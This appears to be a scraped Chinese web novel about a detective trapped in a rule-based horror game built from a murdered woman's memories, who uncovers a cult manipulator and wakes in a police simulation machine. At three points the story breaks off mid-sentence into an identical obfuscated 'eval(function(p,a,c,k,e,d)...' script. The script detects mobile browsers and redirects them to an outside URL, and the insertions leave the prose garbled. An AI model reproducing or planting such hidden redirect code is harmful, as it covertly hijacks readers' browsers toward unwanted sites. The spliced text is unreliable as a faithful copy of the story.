《用规则怪谈破解超能力案件》 1. 我叫苏反派 玩家幻忆师是从108平米的欧式大床上醒来的。 她怔怔地坐在床中央,看见远处一群面目相同的女仆在无声忙碌。 每个女仆头上都顶着名字,比如离她最近的这位,叫二小姐的贴身女仆A。 “请问......” 这两个字像是在寂静的卧室里扔下一颗炸弹。 有女仆想尖叫立刻被同伴捂住嘴;有女仆迅速抱头蹲下紧闭双眼;还有女仆呆立着不停流泪。 幻忆师不敢再说一个字,直到卧室里只剩两位贴身女仆,她才小声问:“她们为什么那么怕我?” “二小姐早安,因为她们看见了您的素颜,即将被发卖。” “为什么不能看素颜,这里不是现代吗,怎么有发卖的说法?” “因为您是苏家二小姐。”贴身女仆脸上的笑容一成不变。 幻忆师跳下床照镜子,镜子里映出位美丽少女,她的头上顶着一行大字:苏反派.被保姆偷换的假千金。 幻忆师深吸一口气:“你们出去吧,我想静静。” 等房间里只剩下她自己,镜子中的二小姐突然被一位白发白裙的少女取代,她手里捧着一张老旧的纸张,上面写着规则。 1.真千金是假千金永远的敌人,真千金想要杀死假千金,不要相信真千金。 2.童话故事的过程都是反派为难公主,结局都是公主与王子幸福地生活在一起。 3.反派要有反派的样子,一名合格的反派永远恶毒得合人心意,每一名反派仅有三次失败机会。 读完规则的瞬间,幻忆师终于想起来,她是一名侦探,作为玩家来到这里,唯一目的是根据规则通关怪谈游戏。 她搜查卧室,但一无所获,只能穿戴整齐下楼吃早餐。 餐桌上,幻忆师看清每个人头顶的名字,感觉这一家人比她二十多年的人生还要混乱。 老爷.你的生父有轻微老年痴呆坚信你不是他亲生女儿:“今天我们大家之所以欢聚在这里,是为失散多年的小女儿玛丽庆祝她回家!” 继室夫人.你的生母以前是苏家保姆把你和玛丽偷换了:“欢迎!” 管家.和继室夫人偷情多年以为自己是你生父:“玛丽小姐,不是那边,这边请。” 哥哥.一直爱慕你碍于血缘没有告白即将移情别恋:“玛丽妹妹,你在穷人家受苦了,但不要把穷气带家里来。” 弟弟.你同父同母亲弟弟即将爱上苏玛丽:“哼,一看就没什么见识,不配和我们坐在一起。” 兄弟俩从早晨开始内卷,争先恐后地表达对苏玛丽的轻视。 奶奶.真正的老年痴呆:“吃、吃饭。” 在流着口水的奶奶带领下,一家人把期待的目光移向幻忆师。 幻忆师扯出一个阳光开朗的笑容,对娇软苏玛丽说:“先让苏杰克欢迎你吧。” 苏杰克.你的未婚夫:“欢迎。” 这就完了?他不卷他竟敢躺平!幻忆师在心中疯狂呐喊。 她痛苦地参与家庭内卷,用平生最恶毒的语调朗读:“一会端上来的全是你没见过的好东西,没吃过就多吃点。” 右上角代表三次机会的红心轻轻裂开一颗,茫然的幻忆师也轻轻地碎了。 小白花一样的苏玛丽保持微笑,说明刚刚的话不够反派也不够恶毒。 突然,背景板女仆打翻了手里的早餐盘子。 女仆啜泣:“对、对不起,虽然我知道自己马上要被发卖,但我不是故意的。” 苏玛丽蹲下帮女仆一起收拾:“没关系,不是什么大事,为什么要发卖你?” “呜呜呜,因为我看见了二小姐的素颜。” 苏玛丽迎着柔和的晨光站起来,整个人像是发光的圣女:“不要走,来做我的女仆吧。” 停顿了一下,苏玛丽郑重宣告: “因为,我从来不化妆。” 餐厅中立刻爆发一阵惊呼,全家人都震惊于苏玛丽的美貌和她的特立独行。 除了幻忆师。 她明白红心为什么裂开了,作为一名女反派,她没有爱上真千金的机会,必须不留余力地把真千金赶出家门。 老爷清了清嗓子准备发言,但因轻微老年痴呆把想说的忘了,他不得不向夫人求助:“是叫反反吧......” “派派,她让我们叫她派派。”继室夫人连忙小声提醒。 无论哪个字叠读后当小名都很怪啊!幻忆师实在无法直视苏反派这个名字。 眼看又有一颗红心要裂开,她赶紧大吼:“我决定发卖的人你也敢收?滚出去!” 怕不够,她补充:“你刚回来就插手家里的事,真以为自己是千金小姐?” 跪在地上的女仆掩面哭泣,苏玛丽面白如纸,楚楚可怜地和女仆依偎在一起。 岌岌可危的红心没再裂开,老爷温和地说:“派派,玛丽就是真千金。” 下一句是“你才是那个假千金”,可惜老爷没机会说出来,夫人截断他的话:“上菜吧。” 和女仆共用一张脸的男仆们端着锃光瓦亮的银盘子,盘子里装满了手工烘焙的司康饼和搭配凝脂奶油的新鲜果酱...... 以上全是幻忆师的想象,揭开餐盘盖,里面是豆浆和油条。 真是朴实无华的豪门早餐,像是东宫娘娘烙大饼,西宫娘娘剥大葱。 幻忆师伸手抓起油条开啃,她的哥哥则优雅地系上餐巾,开始用刀叉切割油条。 没空欣赏哥哥高贵的身姿,幻忆师听见侍立在老爷身后的管家轻轻咳嗽一声,似乎在提醒她。 可惜提醒晚了,红心又裂一颗。 实在没地方藏,幻忆师干脆把油条塞进袖子,油条顺着袖口滑到胳膊肘。 她若无其事地举起刀叉,努力模仿哥哥的动作。 一口油条没吃到,她想起自己的本职工作,立刻冲苏玛丽喊: “真是粗鲁的村妇,不会用刀叉就滚出这个家!” 苏玛丽的眼泪啪嗒一下掉在手中的油条上,苏杰克看不下去了:“玛丽,是不是用不惯刀叉?” 油条被泪水浸湿了,苏玛丽点点头,嘤咛一声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13061720|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“管家先生,请去楼上我的房间帮玛丽拿双象牙筷子。” 管家恭敬地微微躬身,临走前隐隐向二小姐的方向看了一眼。 幻忆师没看见管家担忧的眼神,她一边用胳膊夹着袖管里滑滑的油条,一边跟随哥哥的频率小口优雅吃饭。 没吃两口,“砰”的一声巨响从花园中传来,女仆的尖叫紧跟着响起。 众人放下刀叉赶往花园,苏玛丽看到眼前的惨状,摇晃两下倒在哥哥怀里,然后被苏杰克接了过去。 地上躺着已死的管家,死状极其惨烈。 一根筷子穿透左眼球进入颅腔,筷子插进去后没有马上致命,他在地上用血写下一个“三”字。 “不要靠近,保护现场,立刻报警!”幻忆师不假思索地喊,她职业病犯了。 “不许报警!” 老爷的声音几乎和她同时响起,幻忆师果断说:“不要报警,我来查。” 苏家甚至可以随便发卖仆人,报警也没用。 她戴上手套开始简单验尸,搜身没发现可疑物品。筷子由下至上深深捅进左眼眶,死因是开放性颅脑损伤。 脚部踝关节骨折,可以推断跳楼时脚先着地,排除脸着地筷子误插进眼眶这种小概率事件。 至于那个血字,像是在暗指三少爷,可三少爷一直在餐厅吃饭,有完美的不在场证明。 幻忆师微微拉动筷子,发出搅动脑组织和脑浆的声音,她确定筷子捅入的路径偏左。 “这里有人是左撇子吗?” 无人应答,幻忆师自顾自推理:“从伤痕轨迹判断,犯人必然是左撇子,趁管家不备的瞬间,他左手发力将筷子插入左眼。” “然后他把管家从二楼推下来,管家没立刻死去,留下一个血字,二楼有三少爷的仆从吗?” 苏玛丽从苏杰克怀里探出一张小脸:“管家叔叔有能把物品隐形的超能力,他身上是不是有隐形的致命凶器?” 幻忆师的关注点不在凶器上:“你怎么知道管家的超能力?” “我昨天来签股份转让合同时管家叔叔给我展示过,当时姐姐你在旁边呢。” 苏玛丽昨天竟然来过,今天不是真假千金的第一天,幻忆师很意外。 苏杰克戴上手套过来验尸,真的在管家右眼摸到一根隐形的筷子,他对苏玛丽点点头。 幻忆师皱了皱眉,她刚刚什么都没摸到。 “所以和左撇子没关系,要不再搜身试试?”苏玛丽怯生生地建议。 从管家的口袋里拉出一份长长的亲子鉴定报告,报告显示管家和二小姐存在父女关系。 幻忆师都看傻了,她刚刚没搜到报告,报告是凭空出现的。 轻轻捂住樱桃小嘴,苏玛丽声音颤抖:“不会是二小姐命令仆人杀害自己的生父吧?” “怎么可能?”幻忆师下意识反驳,“血字写的是三。” 低头看向地面的瞬间,幻忆师的血液凝固了,她看见地上的管家死而复生,把“三”悄悄涂掉一个横。 “他写的明明是二。”苏杰克疑惑地说。 2. 反派之死 “幻忆师”称号来自于她的照相式记忆力,她确信自己没看错也没记错。 幻忆师很疲惫,她不想反驳了,但再累也得履行反派职责:“苏玛丽,你竟敢污蔑我,滚出去!” “死了一个下人而已。”继室夫人终于发话了,“他是怎么死的不重要,别伤了咱家的和气。” 轮椅上的奶奶喃喃自语:“吃、吃饭......” “奶奶早饭没吃饱,我去陪她继续吃。” 幻忆师找个借口推着奶奶离开花园,她对管家的死有个大胆的猜想。 没有左撇子凶手,也没有三少爷的仆从。管家用完反派的三次失败机会,被未知力量操控着自杀了。 他右手持凶器捅入自己的左眼眶,死前夺回身体控制权从二楼一跃而下,留下血字警示其他反派。 城堡一样的大别墅空荡荡的,幻忆师推着奶奶沉默地回到餐厅。 男仆端上来一盘菜,热情地报菜名:“这道菜叫金汤玉粒凤凰舞,请慢用。” 揭开餐盘盖,里面赫然陈列着两碗黄焖鸡米饭。 幻忆师敬佩地目送取名高手躬身离开,给奶奶夹了块鸡肉。 奶奶笑呵呵地吃肉:“黄焖鸡里的姜装得再像土豆,吃进去也会被认出来。” 幻忆师猛然抬头,奶奶还是那副老年痴呆的样子,刚才的话像是无心之言。 “可是姜不想被吃。” “姜没有记忆,它怎么知道自己想不想被吃?”奶奶把鸡肉咽下去。 幻忆师推开碗回到卧室,她已经明白了,今天其实是真假千金的第二天。 她昨天失败三次被消除记忆,像管家一样死过一次,今天醒来后完全不记得昨天的事。 顶着头上最后一颗红心,幻忆师坐在书桌前,记录今天的事。 她背后突然传来女仆的声音:“二小姐,您在做什么?” “我在......写小说。” 幻忆师在开头补上题目: 第一章.我叫苏反派 她把小说藏在抽屉里,决定给故事写一个完美的结局。 书房里,老爷和苏杰克在商量事情,苏玛丽局促不安地坐在一边。 老爷把幻忆师叫过来:“你来得正好,我要解除你和苏杰克的婚约。” 苏杰克面带歉意:“派派,你是个好人。但你不是苏家的孩子,我只好娶玛丽了。” 苏玛丽扑过来抱住幻忆师的手:“姐姐,这不是我的打算!我是来加入这个家的,不是来毁了这个家!” 哥哥冲到老爷面前:“我要告发继室私通,秽乱家宅,罪不容诛。” 弟弟大力拍打桌面:“家规森严,你不要信口雌黄。” 藏在墙角偷听的继室夫人如猛虎下山般跪在老爷面前: “老爷,派派就是您的亲女儿!是我一时糊涂和管家私通,为了骗他伪造亲子鉴定!” 苏杰克落寞地看着泫然欲泣的玛丽:“我想娶你不止因为你是苏家小姐,你不明白我的心意吗?” 两行清泪淌过脸颊,苏玛丽哭了:“杰克,我明白。可我心里已经有了别人,那年杏花微雨,我在湖畔遇见一个少年......” “原来是你!湖畔的少年是我啊!” 另一边夫人也哭得梨花带雨:“老爷,看在我为了这个家付出那么多的份上......” 一片混乱中,幻忆师冷静地越过所有人,她卸下墙上作为装饰的朴刀,挥刀砍向苏玛丽。 一把没开过刃的装饰品不可能杀人,但幻忆师等来了她想要的东西。 屋顶吊灯突然砸下来,正中她的头颅。 临死前,她听见苏玛丽撕心裂肺的哭声:“不要死啊姐姐......” 真千金不是要杀死假千金吗,为什么玛丽哭得那么难过? 问题得不到解答,幻忆师的意识沉入深海。 反派死后,童话故事才能迎来结局。 ...... 玩家幻忆师是从108平米的欧式大床上醒来的。 她从抽屉里搜出本只有第一章的小说,小说开头写道: 【当你看见第一章时你已经死过两次了,反派之死无法让故事结束,不要再次尝试。这个愚蠢的世界是“她”的玩具,你的生死在“她”一念之间。】 迅速阅读完毕,幻忆师发现今天的第二条规则和小说上记录的不一样。 2.童话故事里灰姑娘和她的姐姐争相为王子献上爱意,但王子娶的必须是灰姑娘。 规则还会变化吗?幻忆师把自己的疑惑当做第二章写在小说上。 她把小说复印一份,在抽屉里留下原件,将复印件放进密封袋藏在厕所马桶水箱中。 幻忆师下楼吃早餐,看见了比她的噩梦还要混乱的一家人。 老爷问:“管家,今天的日程是什么?” “您预约了服装顾问上门/服务,为明天的宴会准备礼服。” 看完小说第一章,幻忆师已经是个合格的反派了,她甚至不给哥哥弟弟卷她的机会。 “有人不需要礼服,只适合滚去街头乞讨。” 苏玛丽委屈地扎进苏杰克怀里,幻忆师觉得自己成功了。 然后红心迅速裂开一颗,幻忆师脸上的笑容凝固了。 哥哥弟弟争先恐后地表达对苏玛丽的不屑,老爷的老年痴呆又犯了,在向管家询问二小姐的名字。 幻忆师看着苏杰克怀里的玛丽,突然明白了被修改的第二条规则。 “谁准你躺在他怀里?他是我的未婚夫!” 即将裂开的第二颗红心被拯救回来,幻忆师松了口气。 苏玛丽眼含热泪:“姐姐,你听我说,我知道你爱他,但我也爱他......” 早餐在一阵鸡飞狗跳中结束了,苏家的服装顾问指挥着三辆卡车运来一堆高档礼服。 “明天要举行什么宴会?”幻忆师问管家。 “和杰克少爷生意有关的宴会,据说少爷将在宴会上介绍他的未婚妻。” 就是可能换一位未婚妻的意思。 幻忆师先给自己定个小目标,今天至少活到晚餐时间。 很快,她就没有实现目标的余力了,欧式礼服的束腰把她勒得喘不上气。 她甚至不知道第二颗红心是怎么裂开的,只能模糊地看见苏玛丽提着裙子慌张跑过来的身影。 在晕倒的前一刻,幻忆师想的是:这个未婚妻让苏玛丽当吧,毕竟苏玛丽能裹着束腰拖着2米裙摆跑步...... 幻忆师从昏迷中醒来后,床边的苏玛丽递给她一杯水:“姐姐,你没事吧?看你晕倒了,我担心得不行。” 一口气把水喝完,幻忆师平躺在床上,双手十指交叉摆在腹部,她的表情安详极了: “求求你了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13061721|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我退出这段感情你们在一起吧。你不是第三者,我才是第三者,我上辈子肯定杀过人,这辈子才插足你们的恋爱。” “你们结婚千万别请我,我默默地祝福就好。如果说建议,我只给你一个建议,那就是不要和这个男人分手。” “我要去信佛了,或者信上帝,这一世积德下一世必有福报,我现在只能靠这个开导自己......” 苏玛丽的泪水闸门又被打开:“姐姐,你在说什么?感情的事怎么能叫第三者?我们三个把日子过好比什么都重要。” 泪花砸在被子上,幻忆师带着慈祥的笑容闭上眼睛,准备迎接无边的黑暗。 然而什么都没发生,幻忆师睁开眼睛,看见右上角安然不动的红心。 她猛地坐起来,差点把伏在她身上哭泣的苏玛丽掀飞。 明明当面违反规则,没和苏玛丽争抢苏杰克,为什么最后一颗红心没有裂开? 幻忆师想记录自己的新发现,她毫不客气地下逐客令:“玛丽,从我的房间出去。” “可是,这里是我的房间。” “那我的房间呢?谁把我放在你的房间里?” 苏玛丽的脸上浮现出一个迷离又甜蜜的笑容:“当然是我的爱人。” 幻忆师跳下床拔腿就跑,中间不得不耽误一点时间从水箱里找出小说继续写。 她只恨苏家房子太大,一阵狂奔后冲进二小姐的卧室,幸好她没来晚。 苏杰克拿着小说站在抽屉大开的书桌前,对她温柔地笑了笑。 幻忆师气喘吁吁地注视着她的未婚夫,用和苏玛丽相似的脸扬起一个甜美的笑容:“亲爱的,你在找什么?” “在找我以前给你写的故事。” 苏杰克的声音低沉磁性,他优雅地站在那里,是每个少女心中爱人的模板。 “什么故事呀,亲爱的,再讲一遍嘛,你是不是也给我妹妹讲过?” 幻忆师在不违反规则的前提下用最恶劣的声线说出这句话,游戏的罪魁祸首就在她眼前。 “亲爱的,你让苏玛丽疯狂爱上你。女仆也是你的人,她告诉你小说藏在这里。你甚至能修改规则,想让我也爱上你,你的目的究竟是什么?” “给你讲个故事吧。”放下手里的小说,苏杰克缓缓讲起故事。 【从前有个人情绪平稳,对什么都漠不关心,这倒不是因为她冷漠或拥有绝对理性。 只是因为她生活在爱和恨之外的另一种情绪中,这么说并不确切,但已相当接近事实。 而死神的爱好是收集爱恨,祂四处游荡,如同恶龙寻找金币。 可我们的主人公情绪一直稳定,死神放出爱犬捕猎爱恨,她总是和那三头的猎犬擦肩而过。 死神知道她,她也知道死神。她在同一条路上周而复始地走着,逐渐感到厌倦。 她寻找死神以求结束无尽的生命,但猎犬总是与她失之交臂。 死神等待她,她也等待死神。可是她的心中没有爱也没有恨。】 “故事讲完了。”幻忆师的爱人轻柔地说,“你是不是该走了?” 幻忆师一句话也说不出来,她的胸口被爱人捅进一把锋利的厨刀。 她挣扎着说出几个字:“我的......小说。” “你没机会继续写。”爱人在她耳边亲密地呢喃,“不要爱我也不要恨我,死亡终将抛弃你。” 3. 睁开你的双眼 玩家幻忆师是从108平米的欧式大床上醒来的。 她醒来后搜查整个卧室,废了一番功夫,才在马桶水箱里找到一本只有两章的小说。 小说的第二章叫反派之死,她能辨认出这是自己的笔迹,但写得相当凌乱,小说开头写道: 【你即将被杀死,所以这章写得很潦草,你凑合看。 当你看见第二章时你已经死过三次了。游戏的幕后黑手是苏杰克,但苏杰克肯定不是他的真实姓名,下文称呼他为爱人。 爱人的超能力是强制受害者爱上他并产生不现实的幻想,推测他的能力会随着受害者的爱意加强,甚至能将幻想变成真实。 没错,你处于由苏玛丽的幻想变成的现实中。爱人的能力被她的爱意加强到可以改变规则。 第一条规则不知道改了什么,第二条规则被更改后,“三次失败机会”的判定被爱人从苏玛丽手中夺走,他掌控了你的生死。 你推测,爱人将要改变第三条规则,把死亡也从你手中夺走,让你不得不爱上他或恨死他,为他提供情绪能量。 你并非一无所有,你有一条巨大的优势:爱人以为他在你写下第二章前杀死了你,他不知道你清楚这一切秘密。 真相是我们共同的追求,赴死的你向已死的你致敬!】 看来这段话是自己被爱人杀死前写的,幻忆师看见被改变的第三条规则。 3.反派是永生的,失败后也不会死亡,除非她能洗白爱上王子。 幻忆师穿戴整齐,装作对真相一无所知的样子下楼吃早餐。 在餐厅里,她看到了比她肠道菌群还要混乱的一家人。 这次她下楼晚了,兄弟二人已经开始内卷,一个比一个恶毒地嘲讽苏玛丽。 幻忆师搜肠刮肚,冥思苦想,竟然找不到比他们更恶毒的词语。 所幸老爷及时开口:“都快点吃,去为晚宴做准备。” 众人这才安静下来。 吃完早餐爱人就不见了,幻忆师悄悄松了口气,她跑去苏玛丽的卧室,苏玛丽正在编织毛线。 “在织什么?” 苏玛丽被她吓得丢掉了手里的毛线针。 幻忆师反思一下,觉得是自己的语气太温柔了。 正所谓狗嘴里吐不出象牙,她换个语气:“喂,问你话呢,在做什么?” “在给杰克织毛衣。”苏玛丽像只小白兔,眼圈微微红了。 小白兔瑟缩在沙发角落,幻忆师实在不知道该聊什么,两个人维持着微妙的沉默。 直到苏玛丽先开口:“姐姐,你会觉得我是恋爱脑看不起我吗?” “不会,因为我也爱苏杰克。” “我就知道没人愿意和我说实话。”苏玛丽小声说。 幻忆师决定说实话,反正现在说实话也死不了: “我真的没有看不起你,我觉得你很有勇气。追逐情感上的满足其实是人类的本能,但不知何时,人们将这种本能视作低贱无用的。” “被爱和付出爱永远不是无用的,它们是你的自我实现需求,远比那些对事业对金钱的追求高级。” “高级......”苏玛丽重复道,“第一次被人用这两个字形容,谢谢你。” “那你会因为爱上一个人放弃活着吗?”苏玛丽柔柔地问。 幻忆师不愿回答这个问题,她认为苏玛丽也清楚她的答案,两个人又回到那微妙的沉默里。 直到苏玛丽捡起地上的毛线针,然后平静地说:“我这样的恋爱脑果然还是被人看不起。” 幻忆师无言以对,她生硬地转移话题:“时间过得太慢了,什么时候晚宴才能开始?” 苏玛丽回答:“就让晚宴马上开始吧。” 转瞬间,夜幕降临了。苏玛丽穿着拖地2米的大裙子等她:“姐姐,我们一起去10楼宴会厅。” 低头看了看合身的酒红色晚礼服,幻忆师感谢服装顾问没给她安排束腰。 她弯下腰帮苏玛丽整理裙摆,苏玛丽低声笑了:“姐姐,谢谢你愿意和我讲这么多,这些东西从来没人讲给我听。” “我一直想问,你为什么叫我姐姐?保姆换婴儿后,没人知道我们谁先出生吧?” “谁知道为什么。”苏玛丽帮幻忆师摆正她胸前的项链,“可能只是因为我想要个姐姐。” 她们手牵手走进电梯,玛丽的裙摆太长,仆人都被挤出去。 等电梯到了10楼,幻忆师才察觉出不对劲:“这里是阁楼,宴会厅在楼下。” “不,我就是想来这里,我想给你拍张照片,你站到那扇窗户下。” 苏玛丽的话语接近于命令,幻忆师从没见过这样的玛丽,她犹豫了一下,决定听从玛丽的要求。 “对,就是那个位置。”苏玛丽用一种痴迷的、狂热的眼神看着幻忆师。 “真好啊,你在现实中也一定是个美人。” 悚然的危机感顺着脊椎爬上来,幻忆师踢掉高跟鞋转身想跑。 “不要动。” 伴随着苏玛丽的命令,幻忆师真的动弹不得。她反应过来,苏玛丽才是这个幻境的主人。 爱人用愚蠢的虚幻困住幻忆师,苏玛丽用真实的虚幻囚禁所有人。 幻忆师连舌头都无法控制,她只能绝望地从喉咙里发出气音。 苏玛丽轻抚上她的脸,把她的头向左边转,她神奇地安静下来。 今晚月色正好,月光灵巧地穿梭于木窗的格纹间,将幻忆师的脸照得半明半暗。 这张脸实在是太适合她了,有光的那半坦然接受月光的拥抱;无光的那半在黑暗中泰然处之。 她的脸上没有任何表情,没有爱更没有恨,她永远是站在花园中面对尸体理性破案的侦探。 苏玛丽的声音轻得像是怕惊扰什么:“真美啊......” 兀自欣赏了一会,苏玛丽将幻忆师的脸转回来:“我知道你想说什么,我们用的脸如此相像,我不应该觉得你好看。” 她们是同父异母的真假千金,遮住眼睛只看下半张脸,她们几乎一模一样。 如果硬要说不同,幻忆师的眼睛微微上挑,睫毛粗且直;苏玛丽的眼睛是下垂圆眼,睫毛细且卷。 当她们盛装打扮站在一起,所有人都能看出她们是姐妹。 但苏玛丽偏偏说:“我们是不一样的。” “天生的美人才有美人的自信和烦恼,你一定在不自知的情况下被很多人发自内心地爱着。” “而我一直渴望爱,我用自己的爱乞求别人的爱,我卑微地乞求,直到无力乞求。我的爱就像声音被投入真空,那里没有回应。” “最终我发现,没有回应也可以得到满足。我喜欢的是付出爱,不是被爱。我一直乞求自我认同,不是他人的认同。” “很快就结束了。”苏玛丽抓住幻忆师的手,把自己的脸埋在她手中,“我只能影响别人,无法影响自己,我还是普通的我。” “我很喜欢你,不想把你牵连进来,你在这里安静地等待结束吧。” 苏玛丽转身离开阁楼,去参加宴会。 阁楼的地板很薄,幻忆师能听见宴会厅的声音,主持人刚宣布宴会开始。 此时厅里一片漆黑,聚光灯唯一的光打在爱人身上,他正在进行宴会前的致辞: “在座的诸位都学富五车,应该听说过古希腊人界定的四种爱。” “第一种爱是Eros,它是爱神的代称,是欢愉之爱,享乐之爱,是人对自我的爱。” “第二种爱是Asos,它是慈悲的爱,是尊敬之爱,家庭之爱,是人对家人的爱。” “第三种爱是Phileo,它是关切的爱,是友谊之爱,兄弟之爱,是人对他人的爱。” “而我今天要展现的是第四种爱——Agape,它是世界上最无私的爱,是神对世人永不止息的、无条件的圣爱!” “赞美我们的将诞未诞之神!祂平等地抚过每个人的头顶,赐予世人超越现实的能力!” “不好意思,苏先生,打断一下。”一位身穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13061722|137769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝蓝色礼服的中年女士说,“如何证明未诞生的神能展现神迹?” 爱人舒展双臂:“这些还不够吗?取之不尽的食物,凭空出现的财富,拔地而起的庄园......” “不够。”中年女士微微晃动手里的红酒,“你说的这些,在座的诸位都拥有。” 爱人缓缓放下双臂,他完美无瑕的面孔在聚光灯下像是神派来的使者。 这一刻,他十分清楚赴宴的宾客想要什么。 这些人的财富达到巅峰,事业已停滞不前,他们用尽自己的手段,耗光积攒的资源,攀登到金字塔尖。 然而,他们唯一无法掌控的就是生死,攀登的过程越辛苦,越贪图塔尖的风景。 所以越有钱越有权的成功人士越信仰未知,他们甚至贪婪地想将未知握在掌心。 “那么,我向大家介绍我的未婚妻,一位被神所爱之人。” 聚光灯转移到苏玛丽身上,她身后的管家似乎想阻止她,但很快被旁边的仆人拖下去。 “她从一个普通人变成一位摆脱死神的神使。” 在人们窃窃私语的议论声中,苏玛丽端庄地走到露台边。 幻忆师被定身在阁楼的边缘,她看得非常清楚,苏玛丽大裙摆下的脚踝上其实绑着一根隐形的绳子。 这种绑绳子跳楼然后假装不死之身的骗术从古至今一直有,需要实行者具有丰富的经验和莫大的勇气。 在有绳子绑着的前提下,实行者跳得越用力越远,绳子越早被拉直,在空中划出的弧线越圆,缓冲距离越长,受到的伤害就越小。 苏玛丽也是这么打算的,她短距离助跑,然后一跃而下。 与此同时,管家挣脱了仆人的钳制,他一边喊着“明明该是我女儿”,一边扑到露台割断了绳子。 月光下,失去牵引的苏玛丽和幻忆师遥遥对视,长长的裙摆不再是束缚她的囚笼,它们化作绽放的花瓣,在空中轻盈旋转,花瓣温柔地托举她,共演出最后的舞曲。 苏玛丽释然地笑了,她解除施加给幻忆师的定身控制,安然闭上眼睛。 察觉到自己能控制身体的一瞬间,幻忆师毫不犹豫地一跃而下。 半空中苏玛丽睁开了她的双眼,她看见酒红色的流星飒沓而来,仿佛裹挟着声破万钧之势,雷鸣轰顶之声。 苏玛丽再次流下眼泪。 我的姐姐骗了我,她想,明明会为所爱之人放弃生命,却偏偏不愿承认。 而后真空的宇宙响起回声,三头的猎犬失去猎物,愚蠢的虚幻轰然坍塌。 庄园外墙化作金色的湮粉四散飞舞,露出内里的破败模样,整齐对称的欧式庭院被狰狞的树木和杂草取代。 她们重重地砸在茂盛的树冠上,靠树木的缓冲抵御部分冲击力。 幻忆师吃力地从地上爬起来,她手里有一把液体般的金色湮粉。 不远处,苏玛丽仰躺着,怔怔地望着夜空的星星。幻忆师这才发现,苏玛丽的真实长相和女仆一模一样。 她的潜意识在拼命提醒她不能沉溺在虚假的爱意中。 幻忆师陪她看了会星星,问道:“你有什么想做的事吗?为自己做的那种。” “不能是打毛线。”幻忆师补充。 苏玛丽被逗笑了:“我想......去街角吃云吞。” “很好吃吗?” “不好吃,而且老板娘很抠门,纸巾付费醋里兑水。” “那你还想吃?”幻忆师不解。 “因为我上次在店里哭了,老板娘把她自己的纸巾从后厨拿出来给我用。” “就因为这个?” “那是第一次没人让我哭小声点。” 幻忆师沉默许久:“我可能也需要纸巾,带我一起去吃吧。” 苏玛丽虚弱地伸手笼住天上的星星:“没有机会了,我帮他做了好多错事,如果......” 可惜没有如果,万花筒绚烂的几何图形吞噬了幻忆师,将她带离这个世界。 真空中无法传播声音。 4. 传染性精神病 陈影笙是从一台复杂的机器上醒来的。 她躺在机器宛如牙科治疗椅的座位上,头顶是一个巨大的正在工作的转盘。 转盘由高强度透明材质制成,边缘镶嵌着一圈灯带,仿佛是来自另一个星系的微型行星,散发着神秘宁静的光芒。 从转盘中心伸展出一根流线型机械臂,其表面覆盖着光滑的纳米涂层,金属闪烁着微光,像是一条银色的机械蛇。 机械臂的末端搭载一个与高科技装置格格不入的万花筒。 陈影笙盯着头顶缓慢运转的圆盘看了一会,才慢慢降落进现实世界。幻忆师是她作为侦探被媒体取的绰号,陈影笙才是她的本名。 “身体有不舒服的地方吗?”旁边传来老王的声音。 老王全名王锐斌,今年53岁,是诞江市公安局超能力管理部刑事侦查总队的一名中队长。 陈影笙回忆起来,她早晨开车送猫去洗澡,半道上被老王一个电话喊到超管部,说是要试什么机器。 “没有不舒服,这是什么机器,刚刚我经历的是真实案件吗?” “它叫万花筒,是诞江大学的新技术。”一位短发的青年女警察解释。 “万花筒能将超能力谋杀案中被害人身上的超能力残留物收集起来,进入被害人记忆所构筑的规则怪谈。” “在本次怪谈中,除了规则部分是万花筒辅助模拟的,你经历的场景与真实案件基本一致,相当于将你投入现场破案。” 面前的女警察也是位中队长,和老王平级但分管不同的专业领域,陈影笙只知道这位姓李,没和对方共事过。 女警察主动自我介绍:“我是李颖,分管网络安全的中队长。初次见面,幻忆师,久闻大名。” “李队客气了。”陈影笙问,“苏玛丽是真实存在的被害人,苏杰克是杀死她的凶手?” 李颖回答:“苏玛丽原名苏莉,29岁,留渚市陈县人士。她被超能力犯罪组织Agape的成员爱人利用,参与非法传教,死于高空坠落。” “Agape疑似本我教隐名教会,爱人是他的代号,苏杰克是他众多假名中的一个,真名不详。他是Agape组织的核心成员,多次使用假身份欺骗无辜女性/爱上他。” “爱人的超能力和你推测的差不多,发动条件是他人无保留的爱,爱意浓烈到一定程度时,会以被害人的生命为代价,将其想象中的虚幻世界变为现实。” “他正是用虚幻世界进行传教的,近几年吸引很多人入教,甚至有社会名流暗中投资。” 陈影笙顺着李队长的目光看过去,万花筒旁居然有个大屏幕,可以在现实中观看她在万花筒中经历的一切,屏幕定格在她陪苏莉看星星那幕。 